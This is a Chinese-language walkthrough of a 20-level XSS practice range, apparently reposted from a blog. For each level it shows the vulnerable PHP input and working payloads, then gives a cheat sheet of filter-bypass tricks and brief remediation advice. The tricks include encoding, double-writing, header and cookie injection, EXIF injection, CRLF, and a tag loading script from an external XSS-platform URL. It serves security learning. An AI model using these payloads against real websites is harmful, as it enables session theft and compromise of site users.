XSS靶場練習


0x00:前言

一個XSS練習平台,闖關形式,一共20關

0x01:開始

第一行都是代碼插入點,下面幾行是payloads(插入點和payloads中間空一行)

LV1

<script>alert(1)</script>

LV2

插入點:<input name=keyword  value="'.$str.'">
 
payload:<input name=keyword  value=""><script>alert('xss')</script>">
LV3
插入點://<input name=keyword  value='".htmlspecialchars($str)."'>
 
payload:
" onmouseover=alert("xss")//
"onclick=alert(1)//
4.
過濾了<>符號
<input name=keyword  value="'.$str3.'">
 
payload:"onclick=alert(1)//
5
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
替換<script 和on,不過沒有過濾<>
這里使用偽協議來構造payload
插入點:<input name=keyword  value="'.$str3.'">
 
payload:<input name=keyword  value=""><a href="javascript:alert(1)">">
"><a href="javascript:alert(1)">
"> <a href="javascript:alert(1)">bmjoker</a>
"> <a href="javascript:%61lert(1)">bmjoker</a> //
 
LV6
這次沒有大小寫過濾
 
"><Script>alert(1)</Script>
前面的payload大小寫混合用應該都可以
LV7
雙寫繞過
做到這里感覺XSS和SQL注入的繞過方式有些類似,
"><scrscriptipt>alert(1)</scrscriptipt>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>
 
LV8
換了一種風格,友情鏈接
編碼繞過
 
a標簽,用href構造一個鏈接,
 
全部字符被轉換為小寫,常用字符也被替換。所以考慮偽協議構造payload
javascript:alert(1)
注意:javascript被換成javascr_ipt了
所以進行編碼繞過
將script任意一個字母10進制,16進制都行
t十進制實體編碼:javascrip&#116;:alert(/xss/)
t十六進制實體編碼:javascrip&#x74;:alert(/xss/)
 
r:
javasc&#x72;ipt:alert(1)
javasc&#x0072;ipt:alert(1)
 
 
LV9
注釋符繞過
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
 
 
要求插入字符中必須有http://
其他與lv8相同
javascrip&#x74;:alert(1)//http://127.0.0.1  //利用注釋
javascrip&#x74;:%0 dhttp://xxx.com%0dalert(1)  //不利用注釋
javascrip&#x74;:%0 ahttp://xxx.com%0daalert(1)  //不利用注釋
 
 
LV10
有HTML實體編碼
 
插入點:
<input name="t_sort" value="'.$str33.'" type="hidden">
payload:
<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
 
 
keyword=1&t_sort= "type="text" onclick="alert(1)
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
keyword = test&t_sort="type="text" onmouseover=alert`1`
 
 
LV11
修改HTTP請求頭實現
查看源碼發現多了一個鍵值t_ref
源碼:
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
 
插入點:
<input name="t_ref"  value="'.$str33.'" type="hidden">
 
Referer: " onmouseover=alert(1) type="text"
Referer:" onclick=alert(1) type="text"
Referer:" type="text" onclick="alert(1)
 
 
LV 12
修改請求頭
 
查看網頁源碼
修改User-Agent
 
部分源碼:
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
 
插入點:
<input name="t_ua"  value="'.$str33.'" type="hidden">
 
paylaods:
User-Agent: " onmouseover=alert(1) type="text"
User-Agent:" onclick=alert(1) type="text"
 
LV13
查看網頁源碼,多了t_cook  應該是cookie
源碼:
<?php
setcookie("user", "call me maybe?", time()+3600);        <------
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];          <------
$str22=str_replace(">","",$str11);       <------
$str33=str_replace("<","",$str22);       <------
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">             <------
</form>
</center>';
?>
 
插入點:
<input name="t_cook"  value="'.$str33.'" type="hidden"> 
<input name="t_cook"  value="" type="text" onclick="alert(1)" type="hidden">
 
payloads:
Cookie: user=call+me+maybe%3F" onmouseover=alert(1) type="text"
Cookie: user=call+me+maybe%3F" onclick=alert(1) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(1)
 
LV14
exif觸發XSS
參考一:
....level14崩了,我們看一下大佬的payload:
  "><img src=1 onerror=alert(1)>
百度得出答案,這里用的是烏雲爆出的exif viewer的漏洞,漏洞原理是通過修改圖片的exif信息,
造成解析圖片exif觸發XSS。利用工具推薦exiftool。以后看見上傳果斷又一個姿勢啊。
修改圖片exif信息如標題,作者。
參考二:
查看源碼發現exif,猜測應該是exif xss,但是這個鏈接由於網絡的原因無法訪問,所以,也無法實踐
exif xss,一般利用於文件上傳的地方,最經典的就是頭像上傳,上傳一個圖片,該圖片的exif元數據被修改為xss payload,成功利用彈窗
具體實現使用kali下的exiftool工具
命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg
 
LV15
插入點<body><span class="ng-include:1.gif"></span></body>
paylaod: 包含level1的彈窗
src='level1.php?name=<img src=x onerror=alert(1)>'
因為這里要訪問上面的angular.min.js這個js文件,才能進行包含,虛擬環境里面無法訪問那個js,因為需要fanqiang才能訪問
ng-include:相當於文件包含。用於包含外部的HTML文件,可以作為一個屬性,或者一個元素使用
 
onerror:
onerror=handleErr
 
function handleErr(msg,url,l)
{
//Handle the error here
return true or false
}
 
LV16
換行符%0a(換行)或者%0d(回車)繞過
查看網頁源碼:
注入點:
<center><&nbsp;>alert(1)<&nbsp;&nbsp;></center><center><img src= level16.png></center>
空格和script被替換為&nbsp;
 
源碼:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
 
注入點:echo "<center>".$str5."</center>";
這里我們可以使用換行符%0a(換行)或者%0d(回車)繞過
payload:
<img%0asrc=1%0aonerror=alert(1)>
或者
<svg%0aonload=alert(1)>
<img%0Dsrc=1%0Donerror=alert(1)>
<iframe%0asrc=1%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>
 
LV17
arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02= onmouseover=alert(1)

0x02:總結

XSS常用的測試語句

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <a href=javascript:alert(1)>

xss繞過方法

大小寫繞過

<Script>alert(1)</Script>

雙寫繞過

<scrscriptipt>alert(1)</scrscriptipt>

替換繞過

過濾 alert 用prompt,confirm,top['alert'](1)代替繞過
過濾() 用``代替繞過
過濾空格 用%0a(換行符),%0d(回車符),/**/代替繞過
小寫轉大寫情況下 字符ſ大寫后為S(ſ不等於s)

%00截斷繞過

<a href=javascr%00ipt:alert(1)>xss</a>

編碼繞過

  • HTML實體編碼

命名實體:以&開頭,以分號結尾,例如“<”的編碼是“&lt;”

字符編碼:十進制、十六進制ASCII碼或Unicode字符編碼,樣式為“&#數值;”

javascrip&#x74;:alert(1) 十六進制
javascrip&#116;:alert(1) 十進制
javascrip\u0074:alert(1)
  • JS編碼
①三個八進制數字,如果個數不夠,在前面補0,例如“e”的編碼為“\145”(e的八進制ASCII碼)
②兩個十六進制數字,如果個數不夠,在前面補0,e的編碼為“\x65”
③四個十六進制數字,“\x0065”
④對於一些控制字符,使用特殊的C類型的轉義風格(例如\n和\r)
  • url編碼
javascrip%74:alert(1)

fromCharCode方法繞過

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))

javascript偽協議繞過

無法閉合雙引號的情況下,就無法使用onclick等事件,只能偽協議繞過,或者調用外部js

換行繞過正則匹配

onmousedown
=alert(1)

注釋符

// 單行注釋
<!-- --!> 注釋多行內容
<!-- --> 注釋多行內容
<-- --> 注釋多行內容
<-- --!> 注釋多行內容
--> 單行注釋后面內容
/* */ 多行注釋
有時還可以利用瀏覽器的容錯性,不需要注釋

閉合標簽空格繞過

</style ><script>alert(1)</script>

@符號繞過url限制

例如:https:// www.segmentfault.com@xss.haozi.me/j.js
其實訪問的是@后面的內容

")逃逸函數后接分號

例:");alert(1)//

\繞過轉義限制

例:
\")
alert(1) //
xss paylaod形式
<script>alert(1)</script>
<script src=" http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg onload=alert(1)>
<input type="text" name="test" onclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert&#40;1&#41;</script>">

繞過magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

標簽

閉合標簽

"><script>alert(/123/)</script>

</script><script>alert(1)</script>
標簽繞過
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<video src=" http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=(′body′).prepend(123);
('body')></video>

其他符號繞過

%0a         替換空格

%0d         替換空格
/**/          替換空格
%00          截斷
``              替換括號

寬字節繞過

gbxxxx系列的編碼,那么我們嘗試一下寬字節  %c0,%bf,%5c,%df

其他事件繞過

onload
onclick
onerror
prompt
confirm
onmousemove

CRLF injection繞過

CRLF是”回車 + 換行”(\r\n)的簡稱。
http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

0xff:XSS漏洞修復方法

XSS漏洞涉及輸入輸出兩個部分,是代碼注入的一種,修復方法:(1)過濾輸入的數據,例如一些非法字符“'”、“"”、“<”、">"、“on+”
(2)對輸出到頁面的數據進行相應的編碼轉換,HTML編碼、JS編碼、URL編碼等。
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM